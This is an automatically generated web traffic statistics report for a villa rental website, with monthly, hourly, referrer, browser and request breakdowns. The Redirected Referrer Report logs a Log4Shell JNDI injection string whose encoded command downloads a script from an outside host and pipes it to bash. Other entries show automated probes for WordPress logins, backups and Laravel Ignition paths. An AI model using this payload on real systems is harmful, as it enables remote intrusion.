Web Server Statistics for amarillavilla.propertiesinparadiseaxa.com

Program started on Fri, Jun 30 2023 at 5:12 AM.
Analyzed requests from Sat, Apr 20 2019 at 1:30 PM to Fri, Jun 30 2023 at 5:11 AM (1531.65 days).

General Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Figures in parentheses refer to the 7-day period ending Jun 30 2023 at 5:12 AM.

Successful requests: 306,012 (4,432)
Average successful requests per day: 199 (633)
Successful requests for pages: 73,035 (271)
Average successful requests for pages per day: 47 (38)
Failed requests: 78,144 (22)
Redirected requests: 88,988 (0)
Distinct files requested: 6,358 (38)
Distinct hosts served: 35,761 (62)
Data transferred: 17.52 gigabytes (687.22 megabytes)
Average data transferred per day: 11.71 megabytes (98.17 megabytes)

Monthly Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 60 requests for pages or part thereof.

month#reqs#pages 
Apr 201931479++
May 20191413373+++++++
Jun 20191654380+++++++
Jul 20191383397+++++++
Aug 20191946452++++++++
Sep 20191398341++++++
Oct 20191578522+++++++++
Nov 20191900630+++++++++++
Dec 20192279678++++++++++++
    
Jan 20202495600++++++++++
Feb 20202320570++++++++++
Mar 20203621827++++++++++++++
Apr 202089001084+++++++++++++++++++
May 202094291473+++++++++++++++++++++++++
Jun 2020105731332+++++++++++++++++++++++
Jul 2020140991908++++++++++++++++++++++++++++++++
Aug 202063231667++++++++++++++++++++++++++++
Sep 202054521596+++++++++++++++++++++++++++
Oct 202058561603+++++++++++++++++++++++++++
Nov 202069211679++++++++++++++++++++++++++++
Dec 202058181994++++++++++++++++++++++++++++++++++
    
Jan 202179302133++++++++++++++++++++++++++++++++++++
Feb 202171021580+++++++++++++++++++++++++++
Mar 202155421809+++++++++++++++++++++++++++++++
Apr 202170001419++++++++++++++++++++++++
May 202153481419++++++++++++++++++++++++
Jun 202151901384++++++++++++++++++++++++
Jul 202162491917++++++++++++++++++++++++++++++++
Aug 202156761667++++++++++++++++++++++++++++
Sep 202150811545++++++++++++++++++++++++++
Oct 202152861799++++++++++++++++++++++++++++++
Nov 202161891833+++++++++++++++++++++++++++++++
Dec 202159701888++++++++++++++++++++++++++++++++
    
Jan 202269421952+++++++++++++++++++++++++++++++++
Feb 202271721952+++++++++++++++++++++++++++++++++
Mar 202268722069+++++++++++++++++++++++++++++++++++
Apr 202278042019++++++++++++++++++++++++++++++++++
May 202281572161+++++++++++++++++++++++++++++++++++++
Jun 202282532284+++++++++++++++++++++++++++++++++++++++
Jul 202285132261++++++++++++++++++++++++++++++++++++++
Aug 202276912077+++++++++++++++++++++++++++++++++++
Sep 202272071847+++++++++++++++++++++++++++++++
Oct 202267991917++++++++++++++++++++++++++++++++
Nov 202271591659++++++++++++++++++++++++++++
Dec 202271611621++++++++++++++++++++++++++++
    
Jan 202373231615+++++++++++++++++++++++++++
Feb 202349191547++++++++++++++++++++++++++
Mar 202352291653++++++++++++++++++++++++++++
Apr 202350151355+++++++++++++++++++++++
May 202379671238+++++++++++++++++++++
Jun 2023175941230+++++++++++++++++++++

Busiest month: Jun 2022 (2,284 requests for pages).

Daily Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 300 requests for pages or part thereof.

day#reqs#pages 
Sun365769377++++++++++++++++++++++++++++++++
Mon4320010654++++++++++++++++++++++++++++++++++++
Tue6169611425+++++++++++++++++++++++++++++++++++++++
Wed4400710676++++++++++++++++++++++++++++++++++++
Thu4190610196++++++++++++++++++++++++++++++++++
Fri4096810527++++++++++++++++++++++++++++++++++++
Sat3765910180++++++++++++++++++++++++++++++++++

Hourly Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 100 requests for pages or part thereof.

hour#reqs#pages 
0112452605+++++++++++++++++++++++++++
1116972868+++++++++++++++++++++++++++++
2119822961++++++++++++++++++++++++++++++
3122912995++++++++++++++++++++++++++++++
4111122996++++++++++++++++++++++++++++++
5120383946++++++++++++++++++++++++++++++++++++++++
6114423481+++++++++++++++++++++++++++++++++++
7116043281+++++++++++++++++++++++++++++++++
8118203343++++++++++++++++++++++++++++++++++
9112462979++++++++++++++++++++++++++++++
10121133151++++++++++++++++++++++++++++++++
11117422997++++++++++++++++++++++++++++++
12115082817+++++++++++++++++++++++++++++
13122412874+++++++++++++++++++++++++++++
14119972773++++++++++++++++++++++++++++
15127203644+++++++++++++++++++++++++++++++++++++
16129963137++++++++++++++++++++++++++++++++
17307433133++++++++++++++++++++++++++++++++
18126962849+++++++++++++++++++++++++++++
19126242818+++++++++++++++++++++++++++++
20124792704++++++++++++++++++++++++++++
21124382971++++++++++++++++++++++++++++++
22118773077+++++++++++++++++++++++++++++++
23113612635+++++++++++++++++++++++++++

Domain Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing domains, sorted by the amount of traffic.

#reqs%bytesdomain
306012100%[unresolved numerical addresses]

Organization Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 20 organizations by the number of requests, sorted by the number of requests.

#reqs%bytesorganization
19891 2.43%54
19280 2.49%66.249
15349 5.30%77
14766 6.04%157.55
12289 1.54%114
11884 5.44%40
11653 0.83%46
10874 6.03%207.46
7756 2.91%51
7037 4.61%35
5960 4.14%3
5604 4.20%52
4830 1.70%34
4561 0.24%185.174
4176 3.57%99
3839 0.50%131.220
3831 0.42%37
3610 0.21%185.191
3583 3.21%15
3076 0.23%5
13216343.95%[not listed: 2,471 organizations]

Redirected Referrer Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 30 referring URLs by the number of redirected requests, sorted by the number of redirected requests.

#reqsURL
377https://www.google.com/
337https://amarillavilla.com/
114https://arushivilla.com/
98https://amarillavilla.com/minisite/css/sites/amarilla.miniSitesGlobal.min.css
96https://propertiesinparadise.com/forsale/index/12
91https://ceruleanvilla.com/
90https://propertiesinparadise.com/
71https://staging.propertiesinparadise.com/
66https://google.com/
64https://www.ceruleanvilla.com/
63https://propertiesinparadise.com/forsale/index/24
57https://propertiesinparadise.com/forsale/index
49https://amarillavilla.com/gallery
46http://baidu.com/
40http://www.google.com.hk/
21https://166.62.92.95/
19https://www.propertiesinparadise.com/
18https://propertiesinparadise.com/forsale/details/70
18https://propertiesinparadise.com/forsale/details/84
18https://propertiesinparadise.com/forsale/index/36
18https://propertiesinparadise.com/forsale/details/151
14https://www.arushivilla.com/
12http://arushivilla.com/
12${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNjYuNjIuOTIuOTU6NDQzfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE2Ni42Mi45Mi45NTo0NDMpfGJhc2g=}
10http://arushivilla.com/wp-login.php
9https://propertiesinparadise.com/forsale/details/41
9https://propertiesinparadise.com/forsale/details/65
9https://propertiesinparadise.com/forsale/details/78
9https://propertiesinparadise.com/forsale/details/80
9https://propertiesinparadise.com/forsale/details/81
494[not listed: 258 URLs]

Failed Referrer Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 30 referring URLs by the number of failed requests, sorted by the number of failed requests.

#reqsURL
1050https://amarillavilla.com/gallery
752http://amarillavilla.com/wp-login.php
703https://166.62.92.95/
424http://amarillavilla.com/favicon.ico
264https://google.com/
201https://amarillavilla.com/
149https://www.google.com/
144http://baidu.com/
143https://amarillavilla.com/minisite/css/sites/amarilla.miniSitesGlobal.min.css
112https://bit.ly/2TOp8jp
111http://amarillavilla.com/ads.txt
76http://amarillavilla.com/
51http://www.virgin-islands-on-line.com/virgin-islands/viewtopic.php
41  http://www.virgin-islands-on-line.com/virgin-islands/viewtopic.php?p=251814
50https://zenaidaestate.com/gallery
47https://www.bing.com/
41http://amarillavilla.com/wordpress
40http://amarillavilla.com/bc
40http://amarillavilla.com/bk
40http://amarillavilla.com/backup
40https://amarillavilla.com/assets/uploads/files/minisite/
40  https://amarillavilla.com/assets/uploads/files/minisite/?C=D;O=A
40http://amarillavilla.com/wp
40https://amarillavilla.com/robots.txt
39http://amarillavilla.com/old
39http://amarillavilla.com/new
38http://amarillavilla.com/main
37http://166.62.92.95/
34http://amarillavilla.com/_ignition/health-check/
34http://www.google.com.hk/
33http://amarillavilla.com/home
33http://amarillavilla.com/public/_ignition/health-check/
991[not listed: 450 URLs]

Referring Site Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 30 referring sites by the number of requests, sorted by the number of requests.

#reqssite
118197https://amarillavilla.com/
7400https://zenaidaestate.com/
2505http://amarillavilla.com/
2061https://meadsbaybeachhouse.com/
1535https://propertiesinparadise.com/
1376https://arushivilla.com/
898https://www.google.com/
679https://indigovilla.com/
647https://cloudcottageanguilla.com/
434https://sandcastleanguilla.com/
431https://staging.propertiesinparadise.com/
426https://kishtionmeadsbay.com/
408http://166.62.92.95/
333https://santoshaestate.com/
301https://nevaehlongbay.com/
285https://lebleuvilla.com/
260https://tequilasunrisethevilla.com/
242https://beachesedgevillas.com/
238http://baidu.com/
219https://songbirdanguilla.com/
211https://villaatfrangipani.com/
90https://www.bing.com/
55http://www.google.com.hk/
53https://www.kalecizgisi.com/
52http://www.amarillavilla.com/
41https://www.amarillavilla.com/
40http://zenaidaestate.com/
40https://google.com/
25https://isleblue.co/
18https://sucuri.net/
348[not listed: 156 sites]

Browser Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests for pages.

#reqs#pagesbrowser
153725752Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)
38393839Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
36223622Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
337193195Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
94693078Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)
20922092Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)
31911197Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
74481107Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
12431080Go-http-client/1.1
3116782ZoominfoBot (zoominfobot at zoominfo dot com)
8025681Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)
680678Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2203616Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)
613572Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
1415499Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
465465Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/601.1.27
1149449Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.92 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
433433Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)
1031419Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Edg/90.0.818.39
1034418Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36 Edg/90.0.818.42
1113414Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
973408Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
454406Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
1015405Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
1637404Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2705.45 Safari/537.36
988403Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
977399Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
963397Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4427.0 Safari/537.36
960397Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
997396Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
947395Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.49
965392Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
958390Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
940390Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
963389Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
938388Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
906386Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
938384Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
1597384Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134 Safari/537.36
948381Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
18453433526[not listed: 3,044 browsers]

Browser Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.

##reqs#pagesbrowser
114858045542Safari
 13267343278  Safari/537
 7218670  Safari/605
 6671605  Safari/604
 495477  Safari/601
 202171  Safari/534
 654126  Safari/602
 13949  Safari/600
 18744  Safari/9537
 6737  Safari/533
 6516  Safari/538
210661719735Netscape (compatible)
3285502493Firefox
 375318  Firefox/47
 298295  Firefox/81
 17370246  Firefox/92
 852230  Firefox/102
 320159  Firefox/112
 20576  Firefox/36
 12372  Firefox/57
 64971  Firefox/60
 7669  Firefox/15
 6969  Firefox/9
412431080Go-http-client
 12431080  Go-http-client/1
53116782ZoominfoBot (zoominfobot at zoominfo dot com)
65469542Mozilla
 219  Mozilla/1
 11  Mozilla/0
 11  Mozilla/2
7479479Dalvik
 479479  Dalvik/2
8454406Sogou web spider
 454406  Sogou web spider/4
9872347MSIE
 29074  MSIE/7
 26164  MSIE/9
 9059  MSIE/6
 6745  MSIE/10
 4724  MSIE/8
 203  MSIE/5
 212  MSIE/11
10156156NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com
11301109netEstate NE Crawler (+http:
 301109  netEstate NE Crawler (+http://www
128282Managed SSL Firewall Checker
137070url
144747Go http package
154444Chrome
 4444  Chrome/54
1615236IonCrawl (https:
 15236  IonCrawl (https://www
177133PleskBot
185230webprosbot
 5230  webprosbot/2
192929GRequests
 2929  GRequests/0
205729Opera
 4721  Opera/9
 54  Opera/7
 32  Opera/8
 11  Opera/12
 11  Opera/6
 8429337[not listed: 119 browsers]

Operating System Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing operating systems, sorted by the number of requests for pages.

##reqs#pagesOS
110955028381Windows
 7318915508  Windows NT
 3585712578  Unknown Windows
 480284  Windows XP
 166  Windows 2000
 43  Windows Server 2003
 21  Windows CE
 11  Windows 98
 10  Windows 95
24255615256Unix
 4237815227  Linux
 16422  Other Unix
 136  BSD
 11  SunOS
39339913409OS unknown
43204110572Known robots
5272804786Macintosh
6392OS/2
711Palm OS
841Symbian OS

Status Code Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing status codes, sorted numerically.

#reqsstatus code
303082200 OK
157206 Partial content
20983301 Document moved permanently
68005302 Document found elsewhere
2773304 Not modified since last retrieval
1675400 Bad request
1401 Authentication required
6727403 Access forbidden
3405 Method not allowed
10556408 Request timeout
9834xx [Miscellaneous client/user errors]
58199500 Internal server error

File Size Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

size#reqs%bytes
04624 
1B- 10B10 
11B- 100B53180 0.01%
101B- 1kB24983 0.07%
1kB- 10kB46374 1.05%
10kB-100kB13626422.54%
100kB- 1MB4032672.19%
1MB- 10MB226 2.05%
10MB-100MB25 2.08%

File Type Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.

#reqs%bytesextension
4913165.02%.jpg [JPEG graphics]
7303515.49%[directories]
49738 7.31%.php [PHP]
28959 3.63%[no extension]
16737 3.52%.js [JavaScript code]
13670 2.12%.png [PNG graphics]
8662 1.28%.css [Cascading Style Sheets]
345 0.60%.pdf [Adobe Portable Document Format]
2029 0.32%.woff
9942 0.32%.svg
1919 0.21%.xml
51845 0.19%[not listed: 9 extensions]

Directory Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.

#reqs%bytesdirectory
5883474.09%/assets/
15131018.78%[root directory]
37768 5.28%/minisite/
5160 0.71%/forsale/
3992 0.45%/contact/
45344 0.28%/quform/
425 0.18%/js/
723 0.08%/consulting/
162 0.03%/css/
128 0.03%/availability/
163 0.03%/testimonials/
148 0.03%/rentals/
185 0.02%/news/
556 0.02%/img/
1114 [not listed: 21 directories]

Request Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing files with at least 20 requests, sorted by the number of requests.

#reqs%byteslast timefile
66869 8.65%Jun/30/23 5:11 AM/
79 0.01%Jun/20/23 5:23 AM  /?47.104.136.57
62 0.01%May/24/23 5:11 AM  /?35.206.82.75
52 0.01%Jul/ 8/20 12:09 PM  /?176.58.98.226
33 Jun/28/21 12:33 PM  /?44.234.45.116
31 Apr/27/22 12:12 PM  /?207.148.10.106
29 Jan/22/21 12:09 PM  /?114.119.162.183
28 Jan/18/22 12:19 PM  /?185.183.95.105
13 Jan/ 5/21 12:14 PM  /?114.119.167.142
13 Nov/13/19 8:08 AM  /?id=24161
12 Oct/ 1/21 12:15 PM  /?35.164.15.203
11 Mar/17/22 11:57 PM  /?format=feed&type=rss
47951 0.01%Jun/30/23 3:54 AM/robots.txt
77 Jun/26/20 12:11 PM  /robots.txt?176.58.98.226
48 Jan/12/21 5:12 AM  /robots.txt?114.119.162.183
36 Jun/24/23 5:24 AM  /robots.txt?47.104.136.57
33 Jan/17/21 12:13 PM  /robots.txt?114.119.167.142
31 Jun/30/21 1:04 PM  /robots.txt?44.234.45.116
26 Jun/29/23 5:21 AM  /robots.txt?35.206.82.75
25 Jan/24/22 12:06 PM  /robots.txt?185.183.95.105
18 Apr/25/22 12:21 PM  /robots.txt?207.148.10.106
10 Jun/29/19 5:53 AM  /robots.txt?207.46.13.177
20324 0.06%Jun/26/23 2:47 AM/quform/captcha.php
16649 0.15%Mar/12/23 1:54 PM/quform/process-minisite.php
11551 7.08%Dec/ 5/22 9:24 AM/mthumb.php
38 0.02%Jul/27/20 10:20 PM  /mthumb.php?src=/assets/uploads/files/d863-housekeeping-graduation.jpg&h=586&w=950&zc=1
36 0.01%Jul/24/20 3:54 PM  /mthumb.php?src=/assets/uploads/files/ffba-pool-2.jpg&h=586&w=950&zc=1
36 0.02%Jul/27/20 7:57 PM  /mthumb.php?src=/assets/uploads/files/8f6a-felixgrad1.jpg&h=586&w=950&zc=1
35 0.02%Jul/27/20 8:24 AM  /mthumb.php?src=/assets/uploads/files/c65a-b-eweb.jpg&h=586&w=950&zc=1
35 0.01%Jul/26/20 1:44 AM  /mthumb.php?src=/assets/uploads/files/2218-01.jpg&h=586&w=950&zc=1
34 0.05%Jul/25/20 7:15 PM  /mthumb.php?src=/assets/uploads/files/4496-ariel-2.jpg&h=420&w=582&zc=1&q=100
34 0.01%Jul/27/20 3:47 PM  /mthumb.php?src=/assets/uploads/files/9a625-Villa-.jpg&h=420&w=582
34 0.02%Jul/27/20 1:57 AM  /mthumb.php?src=/assets/uploads/files/6707-charterboat.jpg&h=586&w=950&zc=1
34 0.01%Jul/20/20 1:18 PM  /mthumb.php?src=/assets/uploads/files/15ee-office-image-4.jpg&h=586&w=950&zc=1
